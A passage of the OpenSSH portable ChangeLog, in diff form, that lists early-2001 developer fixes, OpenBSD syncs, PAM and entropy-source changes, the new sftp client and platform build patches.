ChallengeResponseAuthentication in sshd_config + - (djm) Allow PRNGd entropy collection from localhost TCP socket. Replace + "--with-egd-pool" configure option with "--with-prngd-socket" and + "--with-prngd-port" options. Debugged and improved by Lutz Jaenicke + + +20010301 + - (djm) Properly add -lcrypt if needed. + - (djm) Force standard PAM conversation function in a few more places. + Patch from Redhat 2.5.1p1-2 RPM, probably Nalin Dahyabhai + + - (djm) Cygwin needs pw->pw_gecos copied too. Patch from Corinna Vinschen + + - (djm) Released 2.5.1p2 + +20010228 + - (djm) Detect endianness in configure and use it in rijndael.c. Fixes + "Bad packet length" bugs. + - (djm) Fully revert PAM session patch (again). All PAM session init is + now done before the final fork(). + - (djm) EGD detection patch from Tim Rice + - (djm) Remove /tmp from EGD socket search list + +20010227 + - (bal) Applied shutdown() patch for sftp.c by Corinna Vinschen + + - (bal) OpenBSD Sync + - markus@cvs.openbsd.org 2001/02/23 15:37:45 + [session.c] + handle SSH_PROTOFLAG_SCREEN_NUMBER for buggy clients + - (bal) sshd.init support for all Redhat release. Patch by Jim Knoble + + - (djm) Fix up POSIX saved uid support. Report from Mark Miller + + - (djm) Search for -lcrypt on FreeBSD too + - (djm) fatal() on OpenSSL version mismatch + - (djm) Move PAM init to after fork for non-Solaris derived PAMs + - (djm) Warning fix on entropy.c saved uid stuff. Patch from Mark Miller + + - (djm) Fix PAM fix + - (djm) Remove 'noreplace' flag from sshd_config in RPM spec files. This + change is being made as 2.5.x configfiles are not back-compatible with + 2.3.x. + - (djm) Avoid warnings for missing broken IP_TOS. Patch from Mark Miller + + - (djm) Open Server 5 doesn't need BROKEN_SAVED_UIDS. Patch from Tim Rice + + - (djm) Avoid multiple definition of _PATH_LS. Patch from Tim Rice + + +20010226 + - (bal) Fixed bsd-snprinf.c so it now honors 'BROKEN_SNPRINTF' again. + - (djm) Some systems (SCO3, NeXT) have weird saved uid semantics. + Based on patch from Tim Rice + +20010225 + - (djm) Use %{_libexecdir} rather than hardcoded path in RPM specfile + Patch from Adrian Ho + - (bal) Replace 'unsigned long long' to 'u_int64_t' since not every + platform defines u_int64_t as being that. + +20010224 + - (bal) Missed part of the UNIX sockets patch. Patch by Corinna + Vinschen + - (bal) Reorder where 'strftime' is detected to resolve linking + issues on SCO. Patch by Tim Rice + +20010224 + - (bal) pam_stack fix to correctly detect between RH7 and older RHs. + Patch by Pekka Savola + - (bal) Renamed sigaction.[ch] to sigact.[ch]. Causes problems with + some platforms. + - (bal) Generalize lack of UNIX sockets since this also effects Cray + not just Cygwin. Based on patch by Wendy Palm + +20010223 + - (bal) Fix --define rh7 in openssh.spec file. Patch by Steve Tell + + - (bal) Patch to force OpenSSH rpm to require the same version of OpenSSL + that it was compiled against. Patch by Pekka Savola + - (bal) Double -I for OpenSSL on SCO. Patch by Tim Rice + + +20010222 + - (bal) Corrected SCO luid patch by svaughan + - (bal) Added mdoc2man.pl from Mark Roth + - (bal) Removed reference to liblogin from contrib/README. It was + integrated into OpenSSH a long while ago. + - (stevesk) remove erroneous #ifdef sgi code. + Michael Stone + +20010221 + - (bal) Removed -L/usr/ucblib -R/usr/ucblib for Solaris platform. + - (bal) Fixed OpenSSL rework to use $saved_*. Patch by Tim Rice + + - (bal) Reverted out of 2001/02/15 patch by djm below because it + breaks Solaris. + - (djm) Move PAM session setup back to before setuid to user. + fixes problems on Solaris-drived PAMs. + - (stevesk) session.c: back out to where we were before: + - (djm) Move PAM session initialisation until after fork in sshd. Patch + from Nalin Dahyabhai + +20010220 + - (bal) Fix mixed up params to memmove() from Jan 5th in setenv.c and + getcwd.c. + - (bal) OpenBSD CVS Sync: + - deraadt@cvs.openbsd.org 2001/02/19 23:09:05 + [sshd.c] + clarify message to make it not mention "ident" + +20010219 + - (bal) Markus' blessing to rename login.[ch] -> sshlogin.[ch] and + pty.[ch] -> sshpty.[ch] + - (djm) Rework search for OpenSSL location. Skip directories which don't + exist, don't add -L$ssldir/lib if it doesn't exist. Should help SCO + with its limit of 6 -L options. + - OpenBSD CVS Sync: + - reinhard@cvs.openbsd.org 2001/02/17 08:24:40 + [sftp.1] + typo + - deraadt@cvs.openbsd.org 2001/02/17 16:28:58 + [ssh.c] + cleanup -V output; noted by millert + - deraadt@cvs.openbsd.org 2001/02/17 16:48:48 + [sshd.8] + it's the OpenSSH one + - markus@cvs.openbsd.org 2001/02/18 11:33:54 + [dispatch.c] + typo, SSH2_MSG_KEXINIT, from aspa@kronodoc.fi + - markus@cvs.openbsd.org 2001/02/19 02:53:32 + [compat.c compat.h serverloop.c] + ssh-1.2.{18-22} has broken handling of ignore messages; report from + itojun@ + - markus@cvs.openbsd.org 2001/02/19 03:35:23 + [version.h] + OpenSSH_2.5.1 adds bug compat with 1.2.{18-22} + - deraadt@cvs.openbsd.org 2001/02/19 03:36:25 + [scp.c] + np is changed by recursion; vinschen@redhat.com + - Update versions in RPM spec files + - Release 2.5.1p1 + +20010218 + - (bal) Patch for fix FCHMOD reference in ftp-client.c by Tim Rice + + - (Bal) Patch for lack of RA_RESTART in misc.c for mysignal by + stevesk + - (djm) Fix my breaking of cygwin builds, Patch from Corinna Vinschen + and myself. + - (djm) Close listen_sock on bind() failures. Patch from Arkadiusz + Miskiewicz + - (djm) Robustify EGD/PRNGd code in face of socket closures. Patch from + Todd C. Miller + - (djm) Use ttyname() to determine name of tty returned by openpty() + rather then risking overflow. Patch from Marek Michalkiewicz + + - (djm) Swapped tests for no_libsocket and no_libnsl in configure.in. + Patch from Marek Michalkiewicz + - (djm) Doc fixes from Pekka Savola + - (djm) Use SA_INTERRUPT along SA_RESTART if present (equivalent for + SunOS) + - (djm) SCO needs librpc for libwrap. Patch from Tim Rice + + - (stevesk) misc.c: cpp rework of SA_(INTERRUPT|RESTART) handling. + - (stevesk) scp.c: use mysignal() for updateprogressmeter() handler. + - (djm) SA_INTERRUPT is the converse of SA_RESTART, apply it only for + SIGALRM. + - (djm) Move entropy.c over to mysignal() + - (djm) SunOS 4.x also needs to define HAVE_BOGUS_SYS_QUEUE_H as it has + a that lacks the TAILQ_* macros. Patch from Todd C. + Miller + - (djm) Update RPM spec files for 2.5.0p1 + - (djm) Merge BSD_AUTH support from Markus Friedl and David J. MacKenzie + enable with --with-bsd-auth. + - (stevesk) entropy.c: typo; should be SIGPIPE + +20010217 + - (bal) OpenBSD Sync: + - markus@cvs.openbsd.org 2001/02/16 13:38:18 + [channel.c] + remove debug + - markus@cvs.openbsd.org 2001/02/16 14:03:43 + [session.c] + proper payload-length check for x11 w/o screen-number + +20010216 + - (bal) added '--with-prce' to allow overriding of system regex when + required (tested by David Dulek ) + - (bal) Added DG/UX case and set that they have a broken IPTOS. + - (djm) Mini-configure reorder patch from Tim Rice + Fixes linking on SCO. + - (djm) Make gnome-ssh-askpass handle multi-line prompts. Patch from + Nalin Dahyabhai + - (djm) BSD license for gnome-ssh-askpass (was X11) + - (djm) KNF on gnome-ssh-askpass + - (djm) USE_PIPES for a few more sysv platforms + - (djm) Cleanup configure.in a little + - (djm) Ask users to check config.log when we can't find necessary libs + - (djm) Set "login ID" on systems with setluid. Only enabled for SCO + OpenServer for now. Based on patch from svaughan + - (djm) OpenBSD CVS: + - markus@cvs.openbsd.org 2001/02/15 16:19:59 + [channels.c channels.h serverloop.c sshconnect.c sshconnect.h] + [sshconnect1.c sshconnect2.c] + genericize password padding function for SSH1 and SSH2. + add stylized echo to 2, too. + - (djm) Add roundup() macro to defines.h + - (stevesk) set SA_RESTART flag in mysignal() for SIGCHLD; + needed on Unixware 2.x. + +20010215 + - (djm) Move PAM session setup back to before setuid to user. Fixes + problems on Solaris-derived PAMs. + - (djm) Clean up PAM namespace. Suggested by Darren Moffat + + - (bal) Sync w/ OpenSSH for new release + - markus@cvs.openbsd.org 2001/02/12 12:45:06 + [sshconnect1.c] + fix xmalloc(0), ok dugsong@ + - markus@cvs.openbsd.org 2001/02/11 12:59:25 + [Makefile.in sshd.8 sshconnect2.c readconf.h readconf.c packet.c + sshd.c ssh.c ssh.1 servconf.h servconf.c myproposal.h kex.h kex.c] + 1) clean up the MAC support for SSH-2 + 2) allow you to specify the MAC with 'ssh -m' + 3) or the 'MACs' keyword in ssh(d)_config + 4) add hmac-{md5,sha1}-96 + ok stevesk@, provos@ + - markus@cvs.openbsd.org 2001/02/12 16:16:23 + [auth-passwd.c auth.c auth.h auth1.c auth2.c servconf.c servconf.h + ssh-keygen.c sshd.8] + PermitRootLogin={yes,without-password,forced-commands-only,no} + (before this change, root could login even if PermitRootLogin==no) + - deraadt@cvs.openbsd.org 2001/02/12 22:56:09 + [clientloop.c packet.c ssh-keyscan.c] + deal with EAGAIN/EINTR selects which were skipped + - markus@cvs.openssh.org 2001/02/13 22:49:40 + [auth1.c auth2.c] + setproctitle(user) only if getpwnam succeeds + - markus@cvs.openbsd.org 2001/02/12 23:26:20 + [sshd.c] + missing memset; from solar@openwall.com + - stevesk@cvs.openbsd.org 2001/02/12 20:53:33 + [sftp-int.c] + lumask now works with 1 numeric arg; ok markus@, djm@ + - djm@cvs.openbsd.org 2001/02/14 9:46:03 + [sftp-client.c sftp-int.c sftp.1] + Fix and document 'preserve modes & times' option ('-p' flag in sftp); + ok markus@ + - (bal) replaced PATH_MAX in sftp-int.c w/ MAXPATHLEN. + - (djm) Move to Jim's 1.2.0 X11 askpass program + - (stevesk) OpenBSD sync: + - deraadt@cvs.openbsd.org 2001/02/15 01:38:04 + [serverloop.c] + indent + +20010214 + - (djm) Don't try to close PAM session or delete credentials if the + session has not been open or credentials not set. Based on patch from + Andrew Bartlett + - (djm) Move PAM session initialisation until after fork in sshd. Patch + from Nalin Dahyabhai + - (bal) Missing function prototype in bsd-snprintf.c patch by + Mark Miller + - (djm) Split out and improve OSF SIA auth code. Patch from Chris Adams + with a little modification and KNF. + - (stevesk) fix for SIA patch, misplaced session_setup_sia() + +20010213 + - (djm) Only test -S potential EGD sockets if they exist and are readable. + - (bal) Cleaned out bsd-snprintf.c. VARARGS have been banished and + I did a base KNF over the whe whole file to make it more acceptable. + (backed out of original patch and removed it from ChangeLog) + - (bal) Use chown() if fchown() does not exist in ftp-server.c patch by + Tim Rice + - (stevesk) auth1.c: fix PAM passwordless check. + +20010212 + - (djm) Update Redhat specfile to allow --define "skip_x11_askpass 1", + --define "skip_gnome_askpass 1", --define "rh7 1" and make the + implicit rpm-3.0.5 dependancy explicit. Patch and suggestions from + Pekka Savola + - (djm) Clean up PCRE text in INSTALL + - (djm) Fix OSF SIA auth NULL pointer deref. Report from Mike Battersby + + - (bal) NCR SVR4 compatiblity provide by Don Bragg + - (stevesk) session.c: remove debugging code. + +20010211 + - (bal) OpenBSD Sync + - markus@cvs.openbsd.org 2001/02/07 22:35:46 + [auth1.c auth2.c sshd.c] + move k_setpag() to a central place; ok dugsong@ + - markus@cvs.openbsd.org 2001/02/10 12:52:02 + [auth2.c] + offer passwd before s/key + - markus@cvs.openbsd.org 2001/02/8 22:37:10 + [canohost.c] + remove last call to sprintf; ok deraadt@ + - markus@cvs.openbsd.org 2001/02/10 1:33:32 + [canohost.c] + add debug message, since sshd blocks here if DNS is not available + - markus@cvs.openbsd.org 2001/02/10 12:44:02 + [cli.c] + don't call vis() for \r + - danh@cvs.openbsd.org 2001/02/10 0:12:43 + [scp.c] + revert a small change to allow -r option to work again; ok deraadt@ + - danh@cvs.openbsd.org 2001/02/10 15:14:11 + [scp.c] + fix memory leak; ok markus@ + - djm@cvs.openbsd.org 2001/02/10 0:45:52 + [scp.1] + Mention that you can quote pathnames with spaces in them + - markus@cvs.openbsd.org 2001/02/10 1:46:28 + [ssh.c] + remove mapping of argv[0] -> hostname + - markus@cvs.openbsd.org 2001/02/06 22:26:17 + [sshconnect2.c] + do not ask for passphrase in batch mode; report from ejb@ql.org + - itojun@cvs.opebsd.org 2001/02/08 10:47:05 + [sshconnect.c sshconnect1.c sshconnect2.c] + %.30s is too short for IPv6 numeric address. use %.128s for now. + markus ok + - markus@cvs.openbsd.org 2001/02/09 12:28:35 + [sshconnect2.c] + do not free twice, thanks to /etc/malloc.conf + - markus@cvs.openbsd.org 2001/02/09 17:10:53 + [sshconnect2.c] + partial success: debug->log; "Permission denied" if no more auth methods + - markus@cvs.openbsd.org 2001/02/10 12:09:21 + [sshconnect2.c] + remove some lines + - markus@cvs.openbsd.org 2001/02/09 13:38:07 + [auth-options.c] + reset options if no option is given; from han.holl@prismant.nl + - markus@cvs.openbsd.org 2001/02/08 21:58:28 + [channels.c] + nuke sprintf, ok deraadt@ + - markus@cvs.openbsd.org 2001/02/08 21:58:28 + [channels.c] + nuke sprintf, ok deraadt@ + - markus@cvs.openbsd.org 2001/02/06 22:43:02 + [clientloop.h] + remove confusing callback code + - deraadt@cvs.openbsd.org 2001/02/08 14:39:36 + [readconf.c] + snprintf + - itojun@cvs.openbsd.org 2001/02/08 19:30:52 + sync with netbsd tree changes. + - more strict prototypes, include necessary headers + - use paths.h/pathnames.h decls + - size_t typecase to int -> u_long + - itojun@cvs.openbsd.org 2001/02/07 18:04:50 + [ssh-keyscan.c] + fix size_t -> int cast (use u_long). markus ok + - markus@cvs.openbsd.org 2001/02/07 22:43:16 + [ssh-keyscan.c] + s/getline/Linebuf_getline/; from roumen.petrov@skalasoft.com + - itojun@cvs.openbsd.org 2001/02/09 9:04:59 + [ssh-keyscan.c] + do not assume malloc() returns zero-filled region. found by + malloc.conf=AJ. + - markus@cvs.openbsd.org 2001/02/08 22:35:30 + [sshconnect.c] + don't connect if batch_mode is true and stricthostkeychecking set to + 'ask' + - djm@cvs.openbsd.org 2001/02/04 21:26:07 + [sshd_config] + type: ok markus@ + - deraadt@cvs.openbsd.org 2001/02/06 22:07:50 + [sshd_config] + enable sftp-server by default + - deraadt 2001/02/07 8:57:26 + [xmalloc.c] + deal with new ANSI malloc stuff + - markus@cvs.openbsd.org 2001/02/07 16:46:08 + [xmalloc.c] + typo in fatal() + - itojun@cvs.openbsd.org 2001/02/07 18:04:50 + [xmalloc.c] + fix size_t -> int cast (use u_long). markus ok + - 1.47 Thu Feb 8 23:11:42 GMT 2001 by dugsong + [serverloop.c sshconnect1.c] + mitigate SSH1 traffic analysis - from Solar Designer + , ok provos@ + - (bal) fixed sftp-client.c. Return 'status' instead of '0' + (from the OpenBSD tree) + - (bal) Synced ssh.1, ssh-add.1 and sshd.8 w/ OpenBSD + - (bal) sftp-sever.c '%8lld' to '%8llu' (OpenBSD Sync) + - (bal) uuencode.c resync w/ OpenBSD tree, plus whitespace. + - (bal) A bit more whitespace cleanup + - (djm) Set PAM_RHOST earlier, patch from Andrew Bartlett + + - (stevesk) misc.c: ssh.h not needed. + - (stevesk) compat.c: more friendly cpp error + - (stevesk) OpenBSD sync: + - stevesk@cvs.openbsd.org 2001/02/11 06:15:57 + [LICENSE] + typos and small cleanup; ok deraadt@ + +20010210 + - (djm) Sync sftp and scp stuff from OpenBSD: + - djm@cvs.openbsd.org 2001/02/07 03:55:13 + [sftp-client.c] + Don't free handles before we are done with them. Based on work from + Corinna Vinschen . ok markus@ + - djm@cvs.openbsd.org 2001/02/06 22:32:53 + [sftp.1] + Punctuation fix from Pekka Savola + - deraadt@cvs.openbsd.org 2001/02/07 04:07:29 + [sftp.1] + pretty up significantly + - itojun@cvs.openbsd.org 2001/02/07 06:49:42 + [sftp.1] + .Bl-.El mismatch. markus ok + - djm@cvs.openbsd.org 2001/02/07 06:12:30 + [sftp-int.c] + Check that target is a directory before doing ls; ok markus@ + - itojun@cvs.openbsd.org 2001/02/07 11:01:18 + [scp.c sftp-client.c sftp-server.c] + unsigned long long -> %llu, not %qu. markus ok + - stevesk@cvs.openbsd.org 2001/02/07 11:10:39 + [sftp.1 sftp-int.c] + more man page cleanup and sync of help text with man page; ok markus@ + - markus@cvs.openbsd.org 2001/02/07 14:58:34 + [sftp-client.c] + older servers reply with SSH2_FXP_NAME + count==0 instead of EOF + - djm@cvs.openbsd.org 2001/02/07 15:27:19 + [sftp.c] + Don't forward agent and X11 in sftp. Suggestion from Roumen Petrov + + - stevesk@cvs.openbsd.org 2001/02/07 15:36:04 + [sftp-int.c] + portable; ok markus@ + - stevesk@cvs.openbsd.org 2001/02/07 15:55:47 + [sftp-int.c] + lowercase cmds[].c also; ok markus@ + - markus@cvs.openbsd.org 2001/02/07 17:04:52 + [pathnames.h sftp.c] + allow sftp over ssh protocol 1; ok djm@ + - deraadt@cvs.openbsd.org 2001/02/08 07:38:55 + [scp.c] + memory leak fix, and snprintf throughout + - deraadt@cvs.openbsd.org 2001/02/08 08:02:02 + [sftp-int.c] + plug a memory leak + - stevesk@cvs.openbsd.org 2001/02/08 10:11:23 + [session.c sftp-client.c] + %i -> %d + - stevesk@cvs.openbsd.org 2001/02/08 10:57:59 + [sftp-int.c] + typo + - stevesk@cvs.openbsd.org 2001/02/08 15:28:07 + [sftp-int.c pathnames.h] + _PATH_LS; ok markus@ + - djm@cvs.openbsd.org 2001/02/09 04:46:25 + [sftp-int.c] + Check for NULL attribs for chown, chmod & chgrp operations, only send + relevant attribs back to server; ok markus@ + - djm@cvs.openbsd.org 2001/02/06 15:05:25 + [sftp.c] + Use getopt to process commandline arguments + - djm@cvs.openbsd.org 2001/02/06 15:06:21 + [sftp.c ] + Wait for ssh subprocess at exit + - djm@cvs.openbsd.org 2001/02/06 15:18:16 + [sftp-int.c] + stat target for remote chdir before doing chdir + - djm@cvs.openbsd.org 2001/02/06 15:32:54 + [sftp.1] + Punctuation fix from Pekka Savola + - provos@cvs.openbsd.org 2001/02/05 22:22:02 + [sftp-int.c] + cleanup get_pathname, fix pwd after failed cd. okay djm@ + - (djm) Update makefile.in for _PATH_SFTP_SERVER + - (bal) sftp-client.c replace NULL w/ 0 in do_ls() (pending in OpenBSD tree) + +20010209 + - (bal) patch to vis.c to deal with HAVE_VIS right by Robert Mooney + + - (bal) .c.o rule in openbsd-compat/Makefile.in did not make it to the + main tree while porting forward. Pointed out by Lutz Jaenicke + + - (bal) double entry in configure.in. Pointed out by Lutz Jaenicke + + - (stevesk) OpenBSD sync: + - markus@cvs.openbsd.org 2001/02/08 11:20:01 + [auth2.c] + strict checking + - markus@cvs.openbsd.org 2001/02/08 11:15:22 + [version.h] + update to 2.3.2 + - markus@cvs.openbsd.org 2001/02/08 11:12:30 + [auth2.c] + fix typo + - (djm) Update spec files + - (bal) OpenBSD sync: + - deraadt@cvs.openbsd.org 2001/02/08 14:38:54 + [scp.c] + memory leak fix, and snprintf throughout + - markus@cvs.openbsd.org 2001/02/06 22:43:02 + [clientloop.c] + remove confusing callback code + - (djm) Add CVS Id's to files that we have missed + - (bal) OpenBSD Sync (more): + - itojun@cvs.openbsd.org 2001/02/08 19:30:52 + sync with netbsd tree changes. + - more strict prototypes, include necessary headers + - use paths.h/pathnames.h decls + - size_t typecase to int -> u_long + - markus@cvs.openbsd.org 2001/02/06 22:07:42 + [ssh.c] + fatal() if subsystem fails + - markus@cvs.openbsd.org 2001/02/06 22:43:02 + [ssh.c] + remove confusing callback code + - jakob@cvs.openbsd.org 2001/02/06 23:03:24 + [ssh.c] + add -1 option (force protocol version 1). ok markus@ + - jakob@cvs.openbsd.org 2001/02/06 23:06:21 + [ssh.c] + reorder -{1,2,4,6} options. ok markus@ + - (bal) Missing 'const' in readpass.h + - (bal) OpenBSD Sync (so at least the thing compiles for 2.3.2 =) + - djm@cvs.openbsd.org 2001/02/06 23:30:28 + [sftp-client.c] + replace arc4random with counter for request ids; ok markus@ + - (djm) Define _PATH_TTY for systems that don't. Report from Lutz + Jaenicke + +20010208 + - (djm) Don't delete external askpass program in make uninstall target. + Report and fix from Roumen Petrov + - (djm) Fix linking of sftp, don't need arc4random any more. + - (djm) Try to use shell that supports "test -S" for EGD socket search. + Based on patch from Tim Rice + +20010207 + - (bal) Save the whole path to AR in configure. Some Solaris 2.7 installs + seem lose track of it while in openbsd-compat/ (two confirmed reports) + - (djm) Much KNF on PAM code + - (djm) Revise auth-pam.c conversation function to be a little more + readable. + - (djm) Revise kbd-int PAM conversation function to fold all text messages + to before first prompt. Fixes hangs if last pam_message did not require + a reply. + - (djm) Fix password changing when using PAM kbd-int authentication + +20010205 + - (bal) Disable groupaccess by setting NGROUPS_MAX to 0 for platforms + that don't have NGROUPS_MAX. + - (bal) AIX patch for auth1.c by William L. Jones + - (stevesk) OpenBSD sync: + - stevesk@cvs.openbsd.org 2001/02/04 08:32:27 + [many files; did this manually to our top-level source dir] + unexpand and remove end-of-line whitespace; ok markus@ + - stevesk@cvs.openbsd.org 2001/02/04 15:21:19 + [sftp-server.c] + SSH2_FILEXFER_ATTR_UIDGID support; ok markus@ + - deraadt@cvs.openbsd.org 2001/02/04 17:02:32 + [sftp-int.c] + ? == help + - deraadt@cvs.openbsd.org 2001/02/04 16:47:46 + [sftp-int.c] + sort commands, so that abbreviations work as expected + - stevesk@cvs.openbsd.org 2001/02/04 15:17:52 + [sftp-int.c] + debugging sftp: precedence and missing break. chmod, chown, chgrp + seem to be working now. + - markus@cvs.openbsd.org 2001/02/04 14:41:21 + [sftp-int.c] + use base 8 for umask/chmod + - markus@cvs.openbsd.org 2001/02/04 11:11:54 + [sftp-int.c] + fix LCD + - markus@cvs.openbsd.org 2001/02/04 08:10:44 + [ssh.1] + typo; dpo@club-internet.fr + - stevesk@cvs.openbsd.org 2001/02/04 06:30:12 + [auth2.c authfd.c packet.c] + remove duplicate #include's; ok markus@ + - deraadt@cvs.openbsd.org 2001/02/04 16:56:23 + [scp.c sshd.c] + alpha happiness + - stevesk@cvs.openbsd.org 2001/02/04 15:12:17 + [sshd.c] + precedence; ok markus@ + - deraadt@cvs.openbsd.org 2001/02/04 08:14:15 + [ssh.c sshd.c] + make the alpha happy + - markus@cvs.openbsd.org 2001/01/31 13:37:24 + [channels.c channels.h serverloop.c ssh.c] + do not disconnect if local port forwarding fails, e.g. if port is + already in use + - markus@cvs.openbsd.org 2001/02/01 14:58:09 + [channels.c] + use ipaddr in channel messages, ietf-secsh wants this + - markus@cvs.openbsd.org 2001/01/31 12:26:20 + [channels.c] + ssh.com-2.0.1x does not send additional info in CHANNEL_OPEN_FAILURE + messages; bug report from edmundo@rano.org + - markus@cvs.openbsd.org 2001/01/31 13:48:09 + [sshconnect2.c] + unused + - deraadt@cvs.openbsd.org 2001/02/04 08:23:08 + [sftp-client.c sftp-server.c] + make gcc on the alpha even happier + +20010204 + - (bal) I think this is the last of the bsd-*.h that don't belong. + - (bal) Minor Makefile fix + - (bal) openbsd-compat/Makefile minor fix. Ensure dependancies are done + right. + - (bal) Changed order of LIB="" in -with-skey due to library resolving. + - (bal) next-posix.h changed to bsd-nextstep.h + - (djm) OpenBSD CVS sync: + - markus@cvs.openbsd.org 2001/02/03 03:08:38 + [auth-options.c auth-rh-rsa.c auth-rhosts.c auth.c canohost.c] + [canohost.h servconf.c servconf.h session.c sshconnect1.c sshd.8] + [sshd_config] + make ReverseMappingCheck optional in sshd_config; ok djm@,dugsong@ + - markus@cvs.openbsd.org 2001/02/03 03:19:51 + [ssh.1 sshd.8 sshd_config] + Skey is now called ChallengeResponse + - markus@cvs.openbsd.org 2001/02/03 03:43:09 + [sshd.8] + use no-pty option in .ssh/authorized_keys* if you need a 8-bit clean + channel. note from Erik.Anggard@cygate.se (pr/1659) + - stevesk@cvs.openbsd.org 2001/02/03 10:03:06 + [ssh.1] + typos; ok markus@ + - djm@cvs.openbsd.org 2001/02/04 04:11:56 + [scp.1 sftp-server.c ssh.1 sshd.8 sftp-client.c sftp-client.h] + [sftp-common.c sftp-common.h sftp-int.c sftp-int.h sftp.1 sftp.c] + Basic interactive sftp client; ok theo@ + - (djm) Update RPM specs for new sftp binary + - (djm) Update several bits for new optional reverse lookup stuff. I + think I got them all. + - (djm) Makefile.in fixes + - (stevesk) add mysignal() wrapper and use it for the protocol 2 + SIGCHLD handler. + - (djm) Use setvbuf() instead of setlinebuf(). Suggest from stevesk@ + +20010203 + - (bal) Cygwin clean up by Corinna Vinschen + - (bal) renamed queue.h to fake-queue.h (even if it's an OpenBSD + based file) to ensure #include space does not get confused. + - (bal) Minor Makefile.in tweak. dirname may not exist on some + platforms so builds fail. (NeXT being a well known one) + +20010202 + - (bal) Makefile fix where sourcedir != builddir by Corinna Vinschen + + - (bal) Makefile fix to use $(MAKE) instead of 'make' for platforms + that use 'gmake'. Patch by Tim Rice + +20010201 + - (bal) Minor fix to Makefile to stop rebuilding executables if no + changes have occured to any of the supporting code. Patch by + Roumen Petrov + +20010131 + - (djm) OpenBSD CVS Sync: + - djm@cvs.openbsd.org 2001/01/30 15:48:53 + [sshconnect.c] + Make warning message a little more consistent. ok markus@ + - (djm) Fix autoconf logic for --with-lastlog=no Report and diagnosis from + Philipp Buehler and Kevin Steves + respectively. + - (djm) Don't log SSH2 PAM KbdInt responses to debug, they may contain + passwords. + - (bal) Reorder. Move all bsd-*, fake-*, next-*, and cygwin* stuff to + openbsd-compat/. And resolve all ./configure and Makefile.in issues + assocated. + +20010130 + - (djm) OpenBSD CVS Sync: + - markus@cvs.openbsd.org 2001/01/29 09:55:37 + [channels.c channels.h clientloop.c serverloop.c] + fix select overflow; ok deraadt@ and stevesk@ + - markus@cvs.openbsd.org 2001/01/29 12:42:35 + [canohost.c canohost.h channels.c clientloop.c] + add get_peer_ipaddr(socket), x11-fwd in ssh2 requires ipaddr, not DNS + - markus@cvs.openbsd.org 2001/01/29 12:47:32 + [rsa.c rsa.h ssh-agent.c sshconnect1.c sshd.c] + handle rsa_private_decrypt failures; helps against the Bleichenbacher + pkcs#1 attack + - djm@cvs.openbsd.org 2001/01/29 05:36:11 + [ssh.1 ssh.c] + Allow invocation of sybsystem by commandline (-s); ok markus@ + - (stevesk) configure.in: remove duplicate PROG_LS + +20010129 + - (stevesk) sftp-server.c: use %lld vs. %qd + +20010128 + - (bal) Put USE_PIPES back into sco3.2v5 + - (bal) OpenBSD Sync + - markus@cvs.openbsd.org 2001/01/28 10:15:34 + [dispatch.c] + re-keying is not supported; ok deraadt@ + - markus@cvs.openbsd.org 2001/01/28 10:24:04 + [ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh.1 sshd.8] + cleanup AUTHORS sections + - markus@cvs.openbsd.org 2001/01/28 10:37:26 + [sshd.c sshd.8] + remove -Q, no longer needed + - stevesk@cvs.openbsd.org 2001/01/28 20:36:16 + [readconf.c ssh.1] + ``StrictHostKeyChecking ask'' documentation and small cleanup. + ok markus@ + - stevesk@cvs.openbsd.org 2001/01/28 20:43:25 + [sshd.8] + spelling. ok markus@ + - stevesk@cvs.openbsd.org 2001/01/28 20:53:21 + [xmalloc.c] + use size_t for strlen() return. ok markus@ + - stevesk@cvs.openbsd.org 2001/01/28 22:27:05 + [authfile.c] + spelling. use sizeof vs. strlen(). ok markus@ + - niklas@cvs.openbsd.org 2001/01/29 1:59:14 + [atomicio.h canohost.h clientloop.h deattack.h dh.h dispatch.h + groupaccess.c groupaccess.h hmac.h hostfile.h includes.h kex.h + key.h log.h login.h match.h misc.h myproposal.h nchan.ms pathnames.h + radix.h readpass.h rijndael.h serverloop.h session.h sftp.h ssh-add.1 + ssh-dss.h ssh-keygen.1 ssh-keyscan.1 ssh-rsa.h ssh1.h ssh_config + sshconnect.h sshd_config tildexpand.h uidswap.h uuencode.h] + $OpenBSD$ + - (bal) Minor auth2.c resync. Whitespace and moving of an #include. + +20010126 + - (bal) SSH_PROGRAM vs _PATH_SSH_PROGRAM fix pointed out by Roumen + Petrov + - (bal) OpenBSD Sync + - deraadt@cvs.openbsd.org 2001/01/25 8:06:33 + [ssh-agent.c] + call _exit() in signal handler + +20010125 + - (djm) Sync bsd-* support files: + - deraadt@cvs.openbsd.org 2000/01/26 03:43:20 + [rresvport.c bindresvport.c] + new bindresvport() semantics that itojun, shin, jean-luc and i have + agreed on, which will be happy for the future. bindresvport_sa() for + sockaddr *, too. docs later.. + - deraadt@cvs.openbsd.org 2000/01/24 02:24:21 + [bindresvport.c] + in bindresvport(), if sin is non-NULL, example sin->sin_family for + the actual family being processed + - (djm) Mention PRNGd in documentation, it is nicer than EGD + - (djm) Automatically search for "well-known" EGD/PRNGd sockets in autoconf + - (bal) AC_FUNC_STRFTIME added to autoconf + - (bal) OpenBSD Resync + - stevesk@cvs.openbsd.org 2001/01/24 21:03:50 + [channels.c] + missing freeaddrinfo(); ok markus@ + +20010124 + - (bal) OpenBSD Resync + - markus@cvs.openbsd.org 2001/01/23 10:45:10 + [ssh.h] + nuke comment + - (bal) no 64bit support patch from Tim Rice + - (bal) #ifdef around S_IFSOCK if platform does not support it. + patch by Tim Rice + - (bal) fake-regex.h cleanup based on Tim Rice's patch. + - (stevesk) sftp-server.c: fix chmod() mode mask + +20010123 + - (bal) regexp.h typo in configure.in. Should have been regex.h + - (bal) SSH_USER_DIR to _PATH_SSH_USER_DIR patch by stevesk@ + - (bal) SSH_ASKPASS_DEFAULT to _PATH_SSH_ASKPASS_DEFAULT + - (bal) OpenBSD Resync + - markus@cvs.openbsd.org 2001/01/22 8:15:00 + [auth-krb4.c sshconnect1.c] + only AFS needs radix.[ch] + - markus@cvs.openbsd.org 2001/01/22 8:32:53 + [auth2.c] + no need to include; from mouring@etoh.eviladmin.org + - stevesk@cvs.openbsd.org 2001/01/22 16:55:21 + [key.c] + free() -> xfree(); ok markus@ + - stevesk@cvs.openbsd.org 2001/01/22 17:22:28 + [sshconnect2.c sshd.c] + fix memory leaks in SSH2 key exchange; ok markus@ + - markus@cvs.openbsd.org 2001/01/22 23:06:39 + [auth1.c auth2.c readconf.c readconf.h servconf.c servconf.h + sshconnect1.c sshconnect2.c sshd.c] + rename skey -> challenge response. + auto-enable kbd-interactive for ssh2 if challenge-reponse is enabled. + + +20010122 + - (bal) OpenBSD Resync + - 